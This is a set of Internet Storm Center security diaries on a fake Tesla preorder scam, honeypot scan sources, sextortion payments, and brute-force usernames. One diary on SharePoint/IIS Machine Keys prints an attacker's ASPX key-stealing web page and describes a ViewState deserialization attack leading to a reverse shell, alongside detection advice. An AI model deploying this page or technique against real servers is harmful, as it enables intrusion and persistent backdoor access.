In recent media events, Tesla has demoed progressively more sophisticated versions of its Optimus robots. The sales pitch is pretty simple: "Current AI" is fun, but what we really need is not something to create more funny kitten pictures. We need AI to load and empty dishwashers, fold laundry, and mow lawns. But the robot has not been for sale yet, and there is no firm release date.

In the past, Tesla has accepted preorders for future products, asking for a deposit, which in some cases was even refundable. But aside from an April Fool's posting announcing such a presale, as far as I can tell, no presale has been offered by Tesla.

However, if you search for "Optimus Tesla preorder" and other similar terms, sites claiming to offer Optimus preorders will be advertised. 

These are sponsored listings. The official Tesla site (without the preorder option) shows below these fake links.

We have often seen sponsored listings like this used to advertise malware. But in this case, I suspect, the goal is simply to steal money from people willing to pay for preorders. The interesting twist is that the theft may remain unnoticed until the customer expects delivery, which may be months or years from now.

So far, I have seen these ads lead to three different websites:

• offers-tesla.com (currently active)
• exclusive-tesla.com (now offline)
• prelaunch-tesla.com (now offline)

Other suspect domains:

• private-tesla.com (unreachable)
• corp-tesla.com (redirects to legitimate tesla.com site)
• www-tesla.com (unreachable)
• hyper-tesla.com (unreachable)
• auth.cp-tesla.com (used for account setup by fake site)

The sites display a complete copy of a slightly older design of the Tesla.com website. As far as I can tell, the design does not include a login page. Standard phishing does not appear to be the goal here. Not having a login page may make it easier to hide that no orders are being placed. Customers will not be able to use the fake site to check their order status.

It asks for a $250 non-refundable deposit, which aligns with what Tesla asked for in prior preorder events.

I tried to place an order with a test credit card number, and it was accepted, showing that the credit card was not charged (yet?). Next, I was directed to auth.cp-tesla.com to set up an account. I never received the e-mail confirmation, so I am not sure if my spam filters dropped it or if it is supposed to fail. The original Tesla site uses "auth.tesla.com" for authentication.

Setting up credit card processing for a fake site is likely too complicated, and I assume the site just collects the payment card data to later use the cards on other sites for fraudulent orders or just to resell the payment card data (are there still "Carder" forums? Have not looked at that in a while). So far, the fake sites have only been available for a few days before being shut down. I assume that Tesla monitors these sites and sends takedown requests as they find them.

Preorders are accepted not only for Optimus robots but also for other Tesla products. Interestingly, the data is sent to different sites, not just to the original site. One URL used is https://caribview.info/tesla/. There are a few open directory listings on offers-tesla.com (for example,/api and /js). File dates are from March and May 2025, which is likely around the time the Tesla site was copied. The fake site is hosted behind Cloudflare.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Social Media Links: https://jbu.me

[This is a Guest Diary by Duncan Woosley, an ISC intern as part of the SANS.edu BACS program]

During the last three months I've had a DShield sensor online and collecting data from a deployment in AWS. This week I did some statistical analysis of the last three months of data and found surprising result. Of all the locations that scanned and attacked the DShield sensor, one location was a clear winner in terms of volume of traffic, accounting for over 65% of the total traffic sent to the sensor. To my surprise, that location was Panama!

Total DShield Sensor Traffic per Location

The top 10 locations were close to inline with common expectations, however, the traffic from Panama was greater than the total traffic from all the remaining locations combined!

Digging into the source of this anomaly, I filtered for traffic by day and found that there were massive spikes on just a few days in the last three months that accounted for most of the DShield sensor's captured volume.

Largest Single Days by volume from April 7th to July 7th

Each spike was found to be caused by traffic from a single IP each day, but the IP responsible for each spike was different. However, six of the top ten most active IPs were all from a single /24 subnet! The subnet 141.98.80.0/24 was the cause of 59.4% of total logs collected by the sensor. Moreover, nine of the top 10 IPs were from the same internet service provider (ISP) named "NForce Entertainment B.V."

Autonomous System Numbers (ASN) 43350 accounted for 71.6% of the total sensor logs! This ASN belonging to NForce Entertainment but NForce Entertainment appears to often lease out its IP space to other VPN and proxy providers like the Panama based Flyservers S.A. Flyservers is categorized as a "potentially very high fraud risk ISP" by Scamalytics and is likely the source of this activity.

Top ASNs by Total Traffic

Further research into this ISP found that the NForce Entertainment IP activity was often associated with phishing, malware, and scanning. As a Dutch ISP, they operate without strict regulatory oversight or pressure from their host nation to revoke threat actors’ use of their services.

Recommendations

Unfortunately, the solution for network defenders isn't as simple as blocking all traffic from NForce Entertainment. If your organization is in a position where no NForce Entertainment traffic is required for business, this may be an option, but the majority of organizations don’t allow sweeping IP blocking. Instead, I would recommend blocking only sensitive services and HTTP(S) endpoints that allow for logins. The following actions are recommended.

•    Flagging traffic from NForce Entertainment and particularly from ASN 43350.
•    Block access to Remote Desktop Protocol from the internet.
•    Monitor for SSH activity from ASN 43350 and configured SSH to use key based authentication.
•    Implement a Web Application Firewall (WAF) for all web applications and monitor activity originating from any sources for suspicious queries.
•    Create a WAF alert threshold for high traffic originating from a single source.

[1] https://www.arin.net/resources/guide/asn/
[2] https://scamalytics.com
[3] https://owasp.org/www-community/Web_Application_Firewall
[4] https://www.sans.edu/cyber-security-programs/bachelors-degree/

NOTE: ChatGTP was used for Spelling and grammar checks only
-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Sextortion e-mails have been with us for quite a while, and these days, most security professionals tend to think of them more in terms of an “e-mail background noise” rather than as if they posed any serious threat. Given that their existence is reasonably well-known even among general public, this viewpoint would seem to be justified… But are sextortion messages really irrelevant as a threat at this point, and can we therefore safely omit this topic during security awareness trainings?

I thought that it might be worthwhile to try and find out, so I decided to go over sextortion messages that were delivered to my various spam traps and e-mail accounts during the past 12 months and see whether the cryptocurrency addresses mentioned in them actually received any payments.

In total, I collected 21 different e-mail messages that asked for payment to be sent to 15 distinct cryptocurrency addresses (13 of these were Bitcoin addresses and 2 were Litecoin addresses). For completeness’s sake, it should be noted that while most of the addresses were only seen in e-mails delivered during a single day, this wasn’t always the case, as one of the addresses was observed in messages sent out 32 days apart.

Admittedly, 15 addresses represent a rather small sample size, but it proved to be more than sufficient to give us the desired information about the continued effectiveness of sextortion…

In the sextortion messages, their senders were asking for payments of between $750 and $1,550, with average and median requested amounts being $1,203 and $1,250, respectively. While 6 of the 15 identified addresses didn’t receive any payments at all, the remaining 9 did – in total, incoming transactions to these addresses amounted to between $945 and $10,715, with average and median total amounts received being $1,836 and $1,028, respectively.

Although not all incoming payments to the addresses were necessarily connected  solely to sextortion, it seems highly probable that at least most of them were… Which suggests that even in 2025, sextortion is still a relevant threat, and a topic that warrants attention in security awareness programs.

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

About 10 days ago exploits for Microsoft SharePoint (CVE-2025-53770, CVE-2025-53771) started being publicly abused – we wrote about that at here and here .

The original SharePoint vulnerability is a deserialization vulnerability that allowed an attacker to execute arbitrary commands – while these could be literally anything, majority of exploits that we analyzed resulted in attackers dropping an ASPX file that just revealed the IIS Machine Key to them. This prompted me into diving a bit deeper into how this can be abused.

What are IIS Machine Keys?

A Machine Key in IIS and ASP.NET is a configuration setting used to ensure the security and integrity of data exchanged between the server and clients.

Basically, it is responsible for validating and encrypting sensitive data such as VIEWSTATE, cookies, and session state, protecting them from tampering or unauthorized access. An IIS administrator can define specific Machine Key settings – there are many possible ways to configure all of this, but for this diary we will look into VIEWSTATE protection.

VIEWSTATE is a mechanism used in ASP.NET Web Forms to persist the state of controls and page data between postbacks (i.e., between user actions that send the page back to the server). It allows a developer to easily store values of various controls after a form has been submitted. VIEWSTATE is always used by an IIS APS.NET application.

Since VIEWSTATE can hold sensitive information, it should be appropriately protected. And this is where Machine Keys come into the game – they are used by IIS to prevent tampering of VIEWSTATE and (optionally) encrypt its contents.

By default, IIS (even the very latest version on Windows server 2025) will enable VIEWSTATE MAC (Message Authentication Code) validation but will leave encryption on “Auto” which means that it is not used, as shown in the figure below:

This is not too big of a problem, unless a developer decides to store something confidential in VIEWSTATE.

Machine Key, as you can probably guess by now, is used to perform validation – again, by default SHA1 is used. Several other algorithms are supported, with HMACSHA256 being the second most commonly used one.

Machine Key handling

Since Machine Key is used to validate VIEWSTATE integrity, it is obviously a very important security element. If an attacker gets Machine Key of a server, they can modify VIEWSTATE (and cookies) to arbitrary values and calculate proper MAC which could allow them to perform all sorts of abuse – even achieve remote code execution, as we will demonstrate later.

So, how does one handle this? The whole setup can get a bit complex depending under which account IIS is running, but in most common setups, one of the following two approaches is used:

• Machine Key is automatically generated by IIS. This is the default setup (one you can see in the image above) and in this case Machine Key is stored in Registry.
• Machine Key is generated by an administrator and stored in the web.config file. This is actually mandatory if you have a farm of servers behind a load balancer that need to be able to share sessions so such a setup is quite common!

Stealing a Machine Key

An attacker’s ultimate prize is to steal a Machine Key used by the target IIS server. So, how can they achieve that?

If the Machine Key is stored in a web.config file, in majority of cases it will be stored there in plain text! While it’s possible to encrypt the config section, this is very rarely done. In other words, an attacker that can fetch the web.config file can basically pwn the whole server!
This can be done, for example, through LFI (Local File Inclusion) or XXE (XML External Entities) vulnerabilities that allow the attacker to fetch contents of files.

If the Machine Key is automatically generated, it is stored in Registry, which means that the attacker needs code execution on the server to fetch this, but one important thing should be stressed here: there is nothing that can be done to prevent them from reading the Machine Key, provided they get code execution, even through ASPX files!

Back to our SharePoint story – once the original attackers exploited a vulnerable SharePoint server, they uploaded the following ASPX file:

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>

What does this script do? It will try to read the web.config file and will display both validation and encryption keys, together with used mode. If a Machine Key was stored in web.config, it would be leaked to an attacker, as shown in the image below:

With Machine Key available, the attacker can now achieve RCE on the affected server, due to way deserialization of VIEWSTATE works (and this is a feature!) – more about that further below, but let’s see the other case, when Machine Key is automatically generated and not stored in web.config:

Oh! No luck for the attacker, this script was not able to fetch Machine Key. Phew, all good, we do not have to do anything … or do we? Remember that I wrote above that automatically generated Machine Keys are stored in Registry. Is there anything preventing the attacker to drop a bit better APSX file that can read Registry?

Unfortunately NOT, as Soroush Dalili wrote in their fantastic blog here - one can simply read the key, no matter where it is stored. Soroush published a small ASPX file that goes through all potential locations of a Machine Key.

Clearly SharePoint attackers either did not care about other locations (and were happy with web.config ones), or did not know about this, but if you use Soroush’s script, you can fetch Machine Key even when it’s automatically generated, as shown for the same application I am using as proof of concept below:

Bottom line here is the following: if anyone gets any code execution on an IIS server, you absolutely need to regenerate the server’s Machine Key. Windows will not do this automatically for you, and this key persists through reboots!

Remote Code Execution

So what can one do with Machine Key now?

While we can modify values in VIEWSTATE (it is a bit difficult to read it as it’s serialized, but not impossible, of course), one can also use Alvaro Munoz’s fantastic ysoserial.net, which has builtin support for generating VIEWSTATE objects.

Now that we have a valid Machine Key, ysoserial.net allows us to create an object which, upon deserialization on the server side, will execute code. Since MAC will be valid (and even encrypted, if needed), IIS will happily try to deserialize it with the LosFormatter class which will ultimately allow for Remote Code Execution through deserialization as there are known gadgets that can be used here.

There are two key points here:

1. There is nothing an administrator can do to prevent this if an attacker has a valid Machine Key
2. A malicious VIEWSTATE parameter can be used with *any* ASPX script on the server, it does not need to be the originally vulnerable one. There are some caveats on how to produce a valid VIEWSTATE parameter based on application path, but there are many other resources that explain how to do this.

To reiterate – once an attacker has a valid Machine Key they basically have a backdoor to the IIS server that they can use at any point in time, as long as the Machine Key has not been changed!

PoC || GTFO

Let’s demonstrate this. I have a very simple application that allows a user to input their name (and will use it in a diary in the future as well), that looks like this:

When the Submit button is clicked, the following request is sent:

Now, the IIS server that I have setup is using automatically generated Machine Keys, to make exploitation a bit more interesting (notice I didn’t say difficult). When using the script that Soroush posted, the following information can be again seen:

This leaves us with all information needed to exploit this server.

We will use ysoserial.net to do this, specifically with following options:

• The plugin we will use will be ViewState, which will allow us to generate a malicious VIEWSTATE object, provided with know the Machine Key
• The gadget chain will be TextFormattingRunProperties – it usually generates the shortest payload and supports LosFormatter
• The command will be our PowerShell which will connect to our Netcat listener
• Finally we will need to provide the following:
  • Validation key is the Machine Key from above. I will be using an application specific validation key as we can see that, besides Machine Key being automatically generated, the server is using IsolateApps so every application has its own Machine Key, which is derived from the initial one
  • Validation algorithm will be HMACSHA256
  • My path and apppath will correspond to the application I am attacking (see Soroush’s post for more information about this)
  • Finally I am using the algorithm suitable for .NET 4.0

All we need to do now is go back and resend the request, but this time with our malicious VIEWSTATE object:

The response will be 500 Internal Server Error, but that’s what we want:

And we get our reverse shell happy dance:

Finally, the attacker can now use this malicious VIEWSTATE object on any page that belongs to this application, no matter what other parameters are sent as IIS will first try to deserialize the received VIEWSTATE object. And that’s their persistent backdoor.

Detection

IIS will at least log an event when Viewstate verification has failed. Failed here does not mean that MAC was incorrect (that is silently ignored), but when the verification process failed, which will happen when deserialization is exploited.

Full VIEWSTATE object is logged so that also allows for inspection on what has happened. If you do not already, make sure that you are monitoring Event Code 4009 in Windows Application code. Such an event will look as shown below:

--
Bojan
?X | LinkedIn

INFIGO IS | An Allurity Group member

I implemented a new report today, the "Daily Trends" report. It summarizes noteworthy data received from our honeypot. As with everything, it will improve if you provide feedback :)

There are two ways to receive the report:

1. E-Mail: Sign up at https://isc.sans.edu/notify.html 
2. JSON/HTTP: You may also just download the raw JSON data for the report at https://isc.sans.edu/feeds/trends.json

The sections of the report:

• Top 10 newly registered domains, based on our domain score (the higher, the more suspect)
• Top 10 URLs: The top 10 newly seen URLs from our web honeypot.
• Top 10 New SSH/Telnet usernames: Usernames our Cowrie honeypots have not seen before.
• Top 10 Trending ports

The layout will be refined for sure. Let me know I the data is useful.

Can't receive the email? E-mail delivery has always been an issue, which is why we offer the JSON report as well.

 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Social Media/Contact Links|

Just saw something that I thought was long gone. The username "pop3user" is showing up in our telnet/ssh logs. I don't know how long ago it was that I used POP3 to retrieve e-mail from one of my mail servers. IMAP and various webmail systems have long since replaced this classic email protocol. But at least this one attacker is counting on someone still having a "pop3user" configured.

The passwords attempted are the classics "pop3user" and "123456". The sole IP address scanning for this username is 193.32.162.157. The IP address is part of AS47890, which is managed by Unmanaged (I am not making this up..)

route:          193.32.162.0/24
origin:         AS47890
mnt-by:         UNMANAGED
mnt-by:         ro-btel2-1-mnt
created:        2022-11-21T17:07:38Z
last-modified:  2022-11-21T17:07:38Z
source:         RIPE

The website for unmanaged.uk is blank, the network is probably unmanaged... not a fan of blocklists, but I would consider AS47890 a good candidate for a block.

pop3 still being used (maybe?), unmanaged networks... why are we wasting time trying to worry about 0-days?

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|